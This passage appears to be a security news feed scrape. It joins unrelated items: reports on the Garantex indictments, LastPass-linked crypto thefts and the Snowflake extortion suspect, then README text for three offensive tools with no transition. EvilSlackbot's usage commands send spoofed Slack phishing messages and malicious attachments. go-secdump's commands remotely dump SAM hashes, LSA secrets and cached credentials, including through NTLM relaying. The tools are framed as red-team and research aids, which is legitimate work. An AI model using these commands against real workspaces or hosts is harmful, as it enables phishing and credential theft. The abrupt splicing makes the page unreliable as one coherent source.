The DOJ alleges Besciokov was Garantex’s primary technical administrator and responsible for obtaining and maintaining critical Garantex infrastructure, as well as reviewing and approving transactions. Mira Serda is allegedly Garantex’s co-founder and chief commercial officer.
Image: elliptic.co
In conjunction with the release of the indictments, German and Finnish law enforcement seized servers hosting Garantex’s operations. A “most wanted” notice published by the U.S. Secret Service states that U.S. authorities separately obtained earlier copies of Garantex’s servers, including customer and accounting databases. Federal investigators say they also froze over $26 million in funds used to facilitate Garantex’s money laundering activities.
Besciokov was arrested within the past 24 hours while vacationing with his family in Varkala, a major coastal city in the southwest Indian state of Kerala. An officer with the local police department in Varkala confirmed Besciokov’s arrest, and said the suspect will appear in a Delhi court on March 14 to face charges.
Varkala Beach in Kerala, India. Image: Shutterstock, Dmitry Rukhlenko.
The DOJ’s indictment says Besciokov went by the hacker handle “proforg.” This nickname corresponds to the administrator of a 20-year-old Russian language forum dedicated to nudity and crudity called “udaff.”
Besciokov and Mira Serda are each charged with one count of conspiracy to commit money laundering, which carries a maximum sentence of 20 years in prison. Besciokov is also charged with one count of conspiracy to violate the International Economic Emergency Powers Act—which also carries a maximum sentence of 20 years in person—and with conspiracy to operate an unlicensed money transmitting business, which carries a maximum sentence of five years in prison.
In September 2023, KrebsOnSecurity published findings from security researchers who concluded that a series of six-figure cyberheists across dozens of victims resulted from thieves cracking master passwords stolen from the password manager service LastPass in 2022. In a court filing this week, U.S. federal agents investigating a spectacular $150 million cryptocurrency heist said they had reached the same conclusion.
On March 6, federal prosecutors in northern California said they seized approximately $24 million worth of cryptocurrencies that were clawed back following a $150 million cyberheist on Jan. 30, 2024. The complaint refers to the person robbed only as “Victim-1,” but according to blockchain security researcher ZachXBT the theft was perpetrated against Chris Larsen, the co-founder of the cryptocurrency platform Ripple. ZachXBT was the first to report on the heist.
This week’s action by the government merely allows investigators to officially seize the frozen funds. But there is an important conclusion in this seizure document: It basically says the U.S. Secret Service and the FBI agree with the findings of the LastPass breach story published here in September 2023.
That piece quoted security researchers who said they were witnessing six-figure crypto heists several times each month that all appeared to be the result of crooks cracking master passwords for the password vaults stolen from LastPass in 2022.
“The Federal Bureau of Investigation has been investigating these data breaches, and law enforcement agents investigating the instant case have spoken with FBI agents about their investigation,” reads the seizure complaint, which was written by a U.S. Secret Service agent. “From those conversations, law enforcement agents in this case learned that the stolen data and passwords that were stored in several victims’ online password manager accounts were used to illegally, and without authorization, access the victims’ electronic accounts and steal information, cryptocurrency, and other data.”
The document continues:
“Based on this investigation, law enforcement had probable cause to believe the same attackers behind the above-described commercial online password manager attack used a stolen password held in Victim 1’s online password manager account and, without authorization, accessed his cryptocurrency wallet/account.”
Working with dozens of victims, security researchers Nick Bax and Taylor Monahan found that none of the six-figure cyberheist victims appeared to have suffered the sorts of attacks that typically preface a high-dollar crypto theft, such as the compromise of one’s email and/or mobile phone accounts, or SIM-swapping attacks.
They discovered the victims all had something else in common: Each had at one point stored their cryptocurrency seed phrase — the secret code that lets anyone gain access to your cryptocurrency holdings — in the “Secure Notes” area of their LastPass account prior to the 2022 breaches at the company.
Bax and Monahan found another common theme with these robberies: They all followed a similar pattern of cashing out, rapidly moving stolen funds to a dizzying number of drop accounts scattered across various cryptocurrency exchanges.
According to the government, a similar level of complexity was present in the $150 million heist against the Ripple co-founder last year.
“The scale of a theft and rapid dissipation of funds would have required the efforts of multiple malicious actors, and was consistent with the online password manager breaches and attack on other victims whose cryptocurrency was stolen,” the government wrote. “For these reasons, law enforcement agents believe the cryptocurrency stolen from Victim 1 was committed by the same attackers who conducted the attack on the online password manager, and cryptocurrency thefts from other similarly situated victims.”
Reached for comment, LastPass said it has seen no definitive proof — from federal investigators or others — that the cyberheists in question were linked to the LastPass breaches.
“Since we initially disclosed this incident back in 2022, LastPass has worked in close cooperation with multiple representatives from law enforcement,” LastPass said in a written statement. “To date, our law enforcement partners have not made us aware of any conclusive evidence that connects any crypto thefts to our incident. In the meantime, we have been investing heavily in enhancing our security measures and will continue to do so.”
On August 25, 2022, LastPass CEO Karim Toubba told users the company had detected unusual activity in its software development environment, and that the intruders stole some source code and proprietary LastPass technical information. On Sept. 15, 2022, LastPass said an investigation into the August breach determined the attacker did not access any customer data or password vaults.
But on Nov. 30, 2022, LastPass notified customers about another, far more serious security incident that the company said leveraged data stolen in the August breach. LastPass disclosed that criminal hackers had compromised encrypted copies of some password vaults, as well as other personal information.
Experts say the breach would have given thieves “offline” access to encrypted password vaults, theoretically allowing them all the time in the world to try to crack some of the weaker master passwords using powerful systems that can attempt millions of password guesses per second.
Researchers found that many of the cyberheist victims had chosen master passwords with relatively low complexity, and were among LastPass’s oldest customers. That’s because legacy LastPass users were more likely to have master passwords that were protected with far fewer “iterations,” which refers to the number of times your password is run through the company’s encryption routines. In general, the more iterations, the longer it takes an offline attacker to crack your master password.
Over the years, LastPass forced new users to pick longer and more complex master passwords, and they increased the number of iterations on multiple occasions by several orders of magnitude. But researchers found strong indications that LastPass never succeeded in upgrading many of its older customers to the newer password requirements and protections.
Asked about LastPass’s continuing denials, Bax said that after the initial warning in our 2023 story, he naively hoped people would migrate their funds to new cryptocurrency wallets.
“While some did, the continued thefts underscore how much more needs to be done,” Bax told KrebsOnSecurity. “It’s validating to see the Secret Service and FBI corroborate our findings, but I’d much rather see fewer of these hacks in the first place. ZachXBT and SEAL 911 reported yet another wave of thefts as recently as December, showing the threat is still very real.”
Monahan said LastPass still hasn’t alerted their customers that their secrets—especially those stored in “Secure Notes”—may be at risk.
“Its been two and a half years since LastPass was first breached [and] hundreds of millions of dollars has been stolen from individuals and companies around the globe,” Monahan said. “They could have encouraged users to rotate their credentials. They could’ve prevented millions and millions of dollars from being stolen by these threat actors. But instead they chose to deny that their customers were are risk and blame the victims instead.”
A 25-year-old man in Ontario, Canada has been arrested for allegedly stealing data from and extorting more than 160 companies that used the cloud data service Snowflake.
Image: https://www.pomerium.com/blog/the-real-lessons-from-the-snowflake-breach
On October 30, Canadian authorities arrested Alexander Moucka, a.k.a. Connor Riley Moucka of Kitchener, Ontario, on a provisional arrest warrant from the United States. Bloomberg first reported Moucka’s alleged ties to the Snowflake hacks on Monday.
At the end of 2023, malicious hackers learned that many large companies had uploaded huge volumes of sensitive customer data to Snowflake accounts that were protected with little more than a username and password (no multi-factor authentication required). After scouring darknet markets for stolen Snowflake account credentials, the hackers began raiding the data storage repositories used by some of the world’s largest corporations.
Among those was AT&T, which disclosed in July that cybercriminals had stolen personal information and phone and text message records for roughly 110 million people — nearly all of its customers. Wired.com reported in July that AT&T paid a hacker $370,000 to delete stolen phone records.
A report on the extortion attacks from the incident response firm Mandiant notes that Snowflake victim companies were privately approached by the hackers, who demanded a ransom in exchange for a promise not to sell or leak the stolen data. All told, more than 160 Snowflake customers were relieved of data, including TicketMaster, Lending Tree, Advance Auto Parts and Neiman Marcus.
Moucka is alleged to have used the hacker handles Judische and Waifu, among many others. These monikers correspond to a prolific cybercriminal whose exploits were the subject of a recent story published here about the overlap between Western, English-speaking cybercriminals and extremist groups that harass and extort minors into harming themselves or others.
On May 2, 2024, Judische claimed on the fraud-focused Telegram channel Star Chat that they had hacked Santander Bank, one of the first known Snowflake victims. Judische would repeat that claim in Star Chat on May 13 — the day before Santander publicly disclosed a data breach — and would periodically blurt out the names of other Snowflake victims before their data even went up for sale on the cybercrime forums.
404 Media reports that at a court hearing in Ontario this morning, Moucka called in from a prison phone and said he was seeking legal aid to hire an attorney.
Mandiant has attributed the Snowflake compromises to a group it calls “UNC5537,” with members based in North America and Turkey. Sources close to the investigation tell KrebsOnSecurity the UNC5537 member in Turkey is John Erin Binns, an elusive American man indicted by the U.S. Department of Justice (DOJ) for a 2021 breach at T-Mobile that exposed the personal information of at least 76.6 million customers.
Update: The Justice Department has unsealed an indictment (PDF) against Moucka and Binns, charging them with one count of conspiracy; 10 counts of wire fraud; four counts of computer fraud and abuse; two counts of extortion in relation to computer fraud; and two counts aggravated identity theft.
In a statement on Moucka’s arrest, Mandiant said UNC5537 aka Alexander ‘Connor’ Moucka has proven to be one of the most consequential threat actors of 2024.
“In April 2024, UNC5537 launched a campaign, systematically compromising misconfigured SaaS instances across over a hundred organizations,” wrote Austin Larsen, Mandiant’s senior threat analyst. “The operation, which left organizations reeling from significant data loss and extortion attempts, highlighted the alarming scale of harm an individual can cause using off-the-shelf tools.”
Sources involved in the investigation said UNC5537 has focused on hacking into telecommunications companies around the world. Those sources told KrebsOnSecurity that Binns and Judische are suspected of stealing data from India’s largest state-run telecommunications firm Bharat Sanchar Nigam Ltd (BNSL), and that the duo even bragged about being able to intercept or divert phone calls and text messages for a large portion of the population of India.
Judische appears to have outsourced the sale of databases from victim companies who refuse to pay, delegating some of that work to a cybercriminal who uses the nickname Kiberphant0m on multiple forums. In late May 2024, Kiberphant0m began advertising the sale of hundreds of gigabytes of data stolen from BSNL.
“Information is worth several million dollars but I’m selling for pretty cheap,” Kiberphant0m wrote of the BSNL data in a post on the English-language cybercrime community Breach Forums. “Negotiate a deal in Telegram.”
Also in May 2024, Kiberphant0m took to the Russian-language hacking forum XSS to sell more than 250 gigabytes of data stolen from an unnamed mobile telecom provider in Asia, including a database of all active customers and software allowing the sending of text messages to all customers.
On September 3, 2024, Kiberphant0m posted a sales thread on XSS titled “Selling American Telecom Access (100B+ Revenue).” Kiberphant0m’s asking price of $200,000 was apparently too high because they reposted the sales thread on Breach Forums a month later, with a headline that more clearly explained the data was stolen from Verizon‘s “push-to-talk” (PTT) customers — primarily U.S. government agencies and first responders.
404Media reported recently that the breach does not appear to impact the main consumer Verizon network. Rather, the hackers broke into a third party provider and stole data on Verizon’s PTT systems, which are a separate product marketed towards public sector agencies, enterprises, and small businesses to communicate internally.
Investigators say Moucka shared a home in Kitchener with other tenants, but not his family. His mother was born in Chechnya, and he speaks Russian in addition to French and English. Moucka’s father died of a drug overdose at age 26, when the defendant was roughly five years old.
A person claiming to be Judische began communicating with this author more than three months ago on Signal after KrebsOnSecurity started asking around about hacker nicknames previously used by Judische over the years.
Judische admitted to stealing and ransoming data from Snowflake customers, but he said he’s not interested in selling the information, and that others have done this with some of the data sets he stole.
“I’m not really someone that sells data unless it’s crypto [databases] or credit cards because they’re the only thing I can find buyers for that actually have money for the data,” Judische told KrebsOnSecurity. “The rest is just ransom.”
Judische has sent this reporter dozens of unsolicited and often profane messages from several different Signal accounts, all of which claimed to be an anonymous tipster sharing different identifying details for Judische. This appears to have been an elaborate effort by Judische to “detrace” his movements online and muddy the waters about his identity.
Judische frequently claimed he had unparalleled “opsec” or operational security, a term that refers to the ability to compartmentalize and obfuscate one’s tracks online. In an effort to show he was one step ahead of investigators, Judische shared information indicating someone had given him a Mandiant researcher’s assessment of who and where they thought he was. Mandiant says those were discussion points shared with select reporters in advance of the researcher’s recent talk at the LabsCon security conference.
But in a conversation with KrebsOnSecurity on October 26, Judische acknowledged it was likely that the authorities were closing in on him, and said he would seriously answer certain questions about his personal life.
“They’re coming after me for sure,” he said.
In several previous conversations, Judische referenced suffering from an unspecified personality disorder, and when pressed said he has a condition called “schizotypal personality disorder” (STPD).
According to the Cleveland Clinic, schizotypal personality disorder is marked by a consistent pattern of intense discomfort with relationships and social interactions: “People with STPD have unusual thoughts, speech and behaviors, which usually hinder their ability to form and maintain relationships.”
Judische said he was prescribed medication for his psychological issues, but that he doesn’t take his meds. Which might explain why he never leaves his home.
“I never go outside,” Judische allowed. “I’ve never had a friend or true relationship not online nor in person. I see people as vehicles to achieve my ends no matter how friendly I may seem on the surface, which you can see by how fast I discard people who are loyal or [that] I’ve known a long time.”
Judische later admitted he doesn’t have an official STPD diagnosis from a physician, but said he knows that he exhibits all the signs of someone with this condition.
“I can’t actually get diagnosed with that either,” Judische shared. “Most countries put you on lists and restrict you from certain things if you have it.”
Asked whether he has always lived at his current residence, Judische replied that he had to leave his hometown for his own safety.
“I can’t live safely where I’m from without getting robbed or arrested,” he said, without offering more details.
A source familiar with the investigation said Moucka previously lived in Quebec, which he allegedly fled after being charged with harassing others on the social network Discord.
Judische claims to have made at least $4 million in his Snowflake extortions. Judische said he and others frequently targeted business process outsourcing (BPO) companies, staffing firms that handle customer service for a wide range of organizations. They also went after managed service providers (MSPs) that oversee IT support and security for multiple companies, he claimed.
“Snowflake isn’t even the biggest BPO/MSP multi-company dataset on our networks, but what’s been exfiltrated from them is well over 100TB,” Judische bragged. “Only ones that don’t pay get disclosed (unless they disclose it themselves). A lot of them don’t even do their SEC filing and just pay us to fuck off.”
The other half of UNC5537 — 24-year-old John Erin Binns — was arrested in Turkey in late May 2024, and currently resides in a Turkish prison. However, it is unclear if Binns faces any immediate threat of extradition to the United States, where he is currently wanted on criminal hacking charges tied to the 2021 breach at T-Mobile.
A person familiar with the investigation said Binns’s application for Turkish citizenship was inexplicably approved after his incarceration, leading to speculation that Binns may have bought his way out of a sticky legal situation.
Under the Turkish constitution, a Turkish citizen cannot be extradited to a foreign state. Turkey has been criticized for its “golden passport” program, which provides citizenship and sanctuary for anyone willing to pay several hundred thousand dollars.
This is an image of a passport that Binns shared in one of many unsolicited emails to KrebsOnSecurity since 2021. Binns never explained why he sent this in Feb. 2023.
Binns’s alleged hacker alter egos — “IRDev” and “IntelSecrets” — were at once feared and revered on several cybercrime-focused Telegram communities, because he was known to possess a powerful weapon: A massive botnet. From reviewing the Telegram channels Binns frequented, we can see that others in those communities — including Judische — heavily relied on Binns and his botnet for a variety of cybercriminal purposes.
The IntelSecrets nickname corresponds to an individual who has claimed responsibility for modifying the source code for the Mirai “Internet of Things” botnet to create a variant known as “Satori,” and supplying it to others who used it for criminal gain and were later caught and prosecuted.
Since 2020, Binns has filed a flood of lawsuits naming various federal law enforcement officers and agencies — including the FBI, the CIA, and the U.S. Special Operations Command (PDF), demanding that the government turn over information collected about him and seeking restitution for his alleged kidnapping at the hands of the CIA.
Binns claims he was kidnapped in Turkey and subjected to various forms of psychological and physical torture. According to Binns, the U.S. Central Intelligence Agency (CIA) falsely told their counterparts in Turkey that he was a supporter or member of the Islamic State (ISIS), a claim he says led to his detention and torture by the Turkish authorities.
However, in a 2020 lawsuit he filed against the CIA, Binns himself acknowledged having visited a previously ISIS-controlled area of Syria prior to moving to Turkey in 2017.
A segment of a lawsuit Binns filed in 2020 against the CIA, in which he alleges U.S. put him on a terror watch list after he traveled to Syria in 2017.
Sources familiar with the investigation told KrebsOnSecurity that Binns was so paranoid about possible surveillance on him by American and Turkish intelligence agencies that his erratic behavior and online communications actually brought about the very government snooping that he feared.
In several online chats in late 2023 on Discord, IRDev lamented being lured into a law enforcement sting operation after trying to buy a rocket launcher online. A person close to the investigation confirmed that at the beginning of 2023, IRDev began making earnest inquiries about how to purchase a Stinger, an American-made portable weapon that operates as an infrared surface-to-air missile.
Sources told KrebsOnSecurity Binns’ repeated efforts to purchase the projectile earned him multiple visits from the Turkish authorities, who were justifiably curious why he kept seeking to acquire such a powerful weapon.
A careful study of Judische’s postings on Telegram and Discord since 2019 shows this user is more widely known under the nickname “Waifu,” a moniker that corresponds to one of the more accomplished “SIM swappers” in the English-language cybercrime community over the years.
SIM swapping involves phishing, tricking or bribing mobile phone company employees for credentials needed to redirect a target’s mobile phone number to a device the attackers control — allowing thieves to intercept incoming text messages and phone calls.
Several SIM-swapping channels on Telegram maintain a frequently updated leaderboard of the 100 richest SIM-swappers, as well as the hacker handles associated with specific cybercrime groups (Waifu is ranked #24). That list has long included Waifu on a roster of hackers for a group that called itself “Beige.”
The term “Beige Group” came up in reporting on two stories published here in 2020. The first was in an August 2020 piece called Voice Phishers Targeting Corporate VPNs, which warned that the COVID-19 epidemic had brought a wave of targeted voice phishing attacks that tried to trick work-at-home employees into providing access to their employers’ networks. Frequent targets of the Beige group included employees at numerous top U.S. banks, ISPs, and mobile phone providers.
The second time Beige Group was mentioned by sources was in reporting on a breach at the domain registrar GoDaddy. In November 2020, intruders thought to be associated with the Beige Group tricked a GoDaddy employee into installing malicious software, and with that access they were able to redirect the web and email traffic for multiple cryptocurrency trading platforms. Other frequent targets of the Beige group included employees at numerous top U.S. banks, ISPs, and mobile phone providers.
Judische’s various Telegram identities have long claimed involvement in the 2020 GoDaddy breach, and he didn’t deny his alleged role when asked directly. Judische said he prefers voice phishing or “vishing” attacks that result in the target installing data-stealing malware, as opposed to tricking the user into entering their username, password and one-time code.
“Most of my ops involve malware [because] credential access burns too fast,” Judische explained.
The Telegram channels that the Judische/Waifu accounts frequented over the years show this user divided their time between posting in channels dedicated to financial cybercrime, and harassing and stalking others in harm communities like Leak Society and Court.
Both of these Telegram communities are known for victimizing children through coordinated online campaigns of extortion, doxing, swatting and harassment. People affiliated with harm groups like Court and Leak Society will often recruit new members by lurking on gaming platforms, social media sites and mobile applications that are popular with young people, including Discord, Minecraft, Roblox, Steam, Telegram, and Twitch.
“This type of offence usually starts with a direct message through gaming platforms and can move to more private chatrooms on other virtual platforms, typically one with video enabled features, where the conversation quickly becomes sexualized or violent,” warns a recent alert from the Royal Canadian Mounted Police (RCMP) about the rise of sextortion groups on social media channels.
“One of the tactics being used by these actors is sextortion, however, they are not using it to extract money or for sexual gratification,” the RCMP continued. “Instead they use it to further manipulate and control victims to produce more harmful and violent content as part of their ideological objectives and radicalization pathway.”
Some of the largest such known groups include those that go by the names 764, CVLT, Kaskar, 7997, 8884, 2992, 6996, 555, Slit Town, 545, 404, NMK, 303, and H3ll.
On the various cybercrime-oriented channels Judische frequented, he often lied about his or others’ involvement in various breaches. But Judische also at times shared nuggets of truth about his past, particularly when discussing the early history and membership of specific Telegram- and Discord-based cybercrime and harm groups.
Judische claimed in multiple chats, including on Leak Society and Court, that they were an early member of the Atomwaffen Division (AWD), a white supremacy group whose members are suspected of having committed multiple murders in the U.S. since 2017.
In 2019, KrebsOnSecurity exposed how a loose-knit group of neo-Nazis, some of whom were affiliated with AWD, had doxed and/or swatted nearly three dozen journalists at a range of media publications. Swatting involves communicating a false police report of a bomb threat or hostage situation and tricking authorities into sending a heavily armed police response to a targeted address.
Judsiche also told a fellow denizen of Court that years ago he was active in an older harm community called “RapeLash,” a truly vile Discord server known for attracting Atomwaffen members. A 2018 retrospective on RapeLash posted to the now defunct neo-Nazi forum Fascist Forge explains that RapeLash was awash in gory, violent images and child pornography.
A Fascist Forge member named “Huddy” recalled that RapeLash was the third incarnation of an extremist community also known as “FashWave,” short for Fascist Wave.
“I have no real knowledge of what happened with the intermediary phase known as ‘FashWave 2.0,’ but FashWave 3.0 houses multiple known Satanists and other degenerates connected with AWD, one of which got arrested on possession of child pornography charges, last I heard,” Huddy shared.
In June 2024, a Mandiant employee told Bloomberg that UNC5537 members have made death threats against cybersecurity experts investigating the hackers, and that in one case the group used artificial intelligence to create fake nude photos of a researcher to harass them.
Allison Nixon is chief research officer with the New York-based cybersecurity firm Unit 221B. Nixon is among several researchers who have faced harassment and specific threats of physical violence from Judische.
Nixon said Judische is likely to argue in court that his self-described psychological disorder(s) should somehow excuse his long career in cybercrime and in harming others.
“They ran a misinformation campaign in a sloppy attempt to cover up the hacking campaign,” Nixon said of Judische. “Coverups are an acknowledgment of guilt, which will undermine a mental illness defense in court. We expect that violent hackers from the [cybercrime community] will experience increasingly harsh sentences as the crackdown continues.”
5:34 p.m. ET: Updated story to include a clarification from Mandiant. Corrected Moucka’s age.
Nov. 21, 2024: Included link to a criminal indictment against Moucka and Binns.
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DockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more.
Docker is an open-source platform that automates the deployment, scaling, and management of applications using containerization technology. Containers allow developers to package an application and its dependencies into a single, portable unit that can run consistently across various computing environments. Docker simplifies the development and deployment process by ensuring that applications run the same way regardless of where they are deployed.
Docker Hub is a cloud-based repository where developers can store, share, and distribute container images. It serves as the largest library of container images, providing access to both official images created by Docker and community-contributed images. Docker Hub enables developers to easily find, download, and deploy pre-built images, facilitating rapid application development and deployment.
Open Source Intelligence (OSINT) on Docker Hub involves using publicly available information to gather insights and data from container images and repositories hosted on Docker Hub. This is particularly important for identifying exposed secrets for several reasons:
Security Audits: By analyzing Docker images, organizations can uncover exposed secrets such as API keys, authentication tokens, and private keys that might have been inadvertently included. This helps in mitigating potential security risks.
Incident Prevention: Proactively searching for exposed secrets in Docker images can prevent security breaches before they happen, protecting sensitive information and maintaining the integrity of applications.
Compliance: Ensuring that container images do not expose secrets is crucial for meeting regulatory and organizational security standards. OSINT helps verify that no sensitive information is unintentionally disclosed.
Vulnerability Assessment: Identifying exposed secrets as part of regular security assessments allows organizations to address these vulnerabilities promptly, reducing the risk of exploitation by malicious actors.
Enhanced Security Posture: Continuously monitoring Docker Hub for exposed secrets strengthens an organization's overall security posture, making it more resilient against potential threats.
Utilizing OSINT on Docker Hub to find exposed secrets enables organizations to enhance their security measures, prevent data breaches, and ensure the confidentiality of sensitive information within their containerized applications.
DockerSpy obtains information from Docker Hub and uses regular expressions to inspect the content for sensitive information, such as secrets.
To use DockerSpy, follow these steps:
FreshRSS git clone https://github.com/UndeadSec/DockerSpy.git && cd DockerSpy && make
dockerspy
To customize DockerSpy configurations, edit the following files: - Regular Expressions - Ignored File Extensions
DockerSpy is intended for educational and research purposes only. Users are responsible for ensuring that their use of this tool complies with applicable laws and regulations.
Contributions to DockerSpy are welcome! Feel free to submit issues, feature requests, or pull requests to help improve this tool.
DockerSpy is developed and maintained by Alisson Moretto (UndeadSec)
I'm a passionate cyber threat intelligence pro who loves sharing insights and crafting cybersecurity tools.
Consider following me:
Special thanks to @akaclandestine
A Slack Attack Framework for conducting Red Team and phishing exercises within Slack workspaces.
This tool is intended for Security Professionals only. Do not use this tool against any Slack workspace without explicit permission to test. Use at your own risk.
Thousands of organizations utilize Slack to help their employees communicate, collaborate, and interact. Many of these Slack workspaces install apps or bots that can be used to automate different tasks within Slack. These bots are individually provided permissions that dictate what tasks the bot is permitted to request via the Slack API. To authenticate to the Slack API, each bot is assigned an api token that begins with xoxb or xoxp. More often than not, these tokens are leaked somewhere. When these tokens are exfiltrated during a Red Team exercise, it can be a pain to properly utilize them. Now EvilSlackbot is here to automate and streamline that process. You can use EvilSlackbot to send spoofed Slack messages, phishing links, files, and search for secrets leaked in slack.
In addition to red teaming, EvilSlackbot has also been developed with Slack phishing simulations in mind. To use EvilSlackbot to conduct a Slack phishing exercise, simply create a bot within Slack, give your bot the permissions required for your intended test, and provide EvilSlackbot with a list of emails of employees you would like to test with simulated phishes (Links, files, spoofed messages)
EvilSlackbot requires python3 and Slackclient
pip3 install slackclient
usage: EvilSlackbot.py [-h] -t TOKEN [-sP] [-m] [-s] [-a] [-f FILE] [-e EMAIL]
[-cH CHANNEL] [-eL EMAIL_LIST] [-c] [-o OUTFILE] [-cL]
options:
-h, --help show this help message and exit
Required:
-t TOKEN, --token TOKEN
Slack Oauth token
Attacks:
-sP, --spoof Spoof a Slack message, customizing your name, icon, etc
(Requires -e,-eL, or -cH)
-m, --message Send a message as the bot associated with your token
(Requires -e,-eL, or -cH)
-s, --search Search slack for secrets with a keyword
-a, --attach Send a message containing a malicious attachment (Requires -f
and -e,-eL, or -cH)
Arguments:
-f FILE, --file FILE Path to file attachment
-e EMAIL, --email EMAIL
Email of target
-cH CHANNEL, --channel CHANNEL
Target Slack Channel (Do not include #)
-eL EMAIL_LIST, --email_list EMAIL_LIST
Path to list of emails separated by newline
-c, --check Lookup and display the permissions and available attacks
associated with your provided token.
-o OUTFILE, --outfile OUTFILE
Outfile to store search results
-cL, --channel_list List all public Slack channels
To use this tool, you must provide a xoxb or xoxp token.
Required:
-t TOKEN, --token TOKEN (Slack xoxb/xoxp token)
python3 EvilSlackbot.py -t <token>
Depending on the permissions associated with your token, there are several attacks that EvilSlackbot can conduct. EvilSlackbot will automatically check what permissions your token has and will display them and any attack that you are able to perform with your given token.
Attacks:
-sP, --spoof Spoof a Slack message, customizing your name, icon, etc (Requires -e,-eL, or -cH)
-m, --message Send a message as the bot associated with your token (Requires -e,-eL, or -cH)
-s, --search Search slack for secrets with a keyword
-a, --attach Send a message containing a malicious attachment (Requires -f and -e,-eL, or -cH)
With the correct token permissions, EvilSlackbot allows you to send phishing messages while impersonating the botname and bot photo. This attack also requires either the email address (-e) of the target, a list of target emails (-eL), or the name of a Slack channel (-cH). EvilSlackbot will use these arguments to lookup the SlackID of the user associated with the provided emails or channel name. To automate your attack, use a list of emails.
python3 EvilSlackbot.py -t <xoxb token> -sP -e <email address>
python3 EvilSlackbot.py -t <xoxb token> -sP -eL <email list>
python3 EvilSlackbot.py -t <xoxb token> -sP -cH <Channel name>
With the correct token permissions, EvilSlackbot allows you to send phishing messages containing phishing links. What makes this attack different from the Spoofed attack is that this method will send the message as the bot associated with your provided token. You will not be able to choose the name or image of the bot sending your phish. This attack also requires either the email address (-e) of the target, a list of target emails (-eL), or the name of a Slack channel (-cH). EvilSlackbot will use these arguments to lookup the SlackID of the user associated with the provided emails or channel name. To automate your attack, use a list of emails.
python3 EvilSlackbot.py -t <xoxb token> -m -e <email address>
python3 EvilSlackbot.py -t <xoxb token> -m -eL <email list>
python3 EvilSlackbot.py -t <xoxb token> -m -cH <Channel name>
With the correct token permissions, EvilSlackbot allows you to search Slack for secrets via a keyword search. Right now, this attack requires a xoxp token, as xoxb tokens can not be given the proper permissions to keyword search within Slack. Use the -o argument to write the search results to an outfile.
python3 EvilSlackbot.py -t <xoxp token> -s -o <outfile.txt>
With the correct token permissions, EvilSlackbot allows you to send file attachments. The attachment attack requires a path to the file (-f) you wish to send. This attack also requires either the email address (-e) of the target, a list of target emails (-eL), or the name of a Slack channel (-cH). EvilSlackbot will use these arguments to lookup the SlackID of the user associated with the provided emails or channel name. To automate your attack, use a list of emails.
python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -e <email address>
python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -eL <email list>
python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -cH <Channel name>
Arguments:
-f FILE, --file FILE Path to file attachment
-e EMAIL, --email EMAIL Email of target
-cH CHANNEL, --channel CHANNEL Target Slack Channel (Do not include #)
-eL EMAIL_LIST, --email_list EMAIL_LIST Path to list of emails separated by newline
-c, --check Lookup and display the permissions and available attacks associated with your provided token.
-o OUTFILE, --outfile OUTFILE Outfile to store search results
-cL, --channel_list List all public Slack channels
With the correct permissions, EvilSlackbot can search for and list all of the public channels within the Slack workspace. This can help with planning where to send channel messages. Use -o to write the list to an outfile.
python3 EvilSlackbot.py -t <xoxb token> -cL
Package go-secdump is a tool built to remotely extract hashes from the SAM registry hive as well as LSA secrets and cached hashes from the SECURITY hive without any remote agent and without touching disk.
The tool is built on top of the library go-smb and use it to communicate with the Windows Remote Registry to retrieve registry keys directly from memory.
It was built as a learning experience and as a proof of concept that it should be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA secrets as well as domain cached credentials without having to first save the registry hives to disk and then parse them locally.
The main problem to overcome was that the SAM and SECURITY hives are only readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group administrators had the WriteDACL permission on the registry hives and could thus be used to temporarily grant read access to itself to retrieve the secrets and then restore the original permissions.
Much of the code in this project is inspired/taken from Impacket's secdump but converted to access the Windows registry remotely and to only access the required registry keys.
Some of the other sources that have been useful to understanding the registry structure and encryption methods are listed below:
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral
Usage: ./go-secdump [options]
options:
--host <target> Hostname or ip address of remote server
-P, --port <port> SMB Port (default 445)
-d, --domain <domain> Domain name to use for login
-u, --user <username> Username
-p, --pass <pass> Password
-n, --no-pass Disable password prompt and send no credentials
--hash <NT Hash> Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
--dump Saves the SAM and SECURITY hives to disk and
transfers them to the local machine.
--sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
--lsa Extract LSA secrets explicitly. Only other explicit targets are included.
--dcc2 Extract DCC2 caches explicitly. Only ohter explicit targets are included.
--backup-dacl Save original DACLs to disk before modification
--restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails.
--backup-file Filename for DACL backup (default dacl.backup)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
-t, --timeout Dial timeout in seconds (default 5)
--noenc Disable smb encryption
--smb2 Force smb 2.1
--debug Enable debug logging
--verbose Enable verbose logging
-o, --output Filename for writing results (default is stdout). Will append to file if it exists.
-v, --version Show version
go-secdump will automatically try to modify and then restore the DACLs of the required registry keys. However, if something goes wrong during the restoration part such as a network disconnect or other interrupt, the remote registry will be left with the modified DACLs.
Using the --backup-dacl argument it is possible to store a serialized copy of the original DACLs before modification. If a connectivity problem occurs, the DACLs can later be restored from file using the --restore-dacl argument.
Dump all registry secrets
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
Dump only SAM, LSA, or DCC2 cache secrets
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
Dump registry secrets using NTLM relaying
Start listener
./go-secdump --host 192.168.0.100 -n --relay
Trigger an auth to your machine from a client with administrative access to 192.168.0.100 somehow and then wait for the dumped secrets.
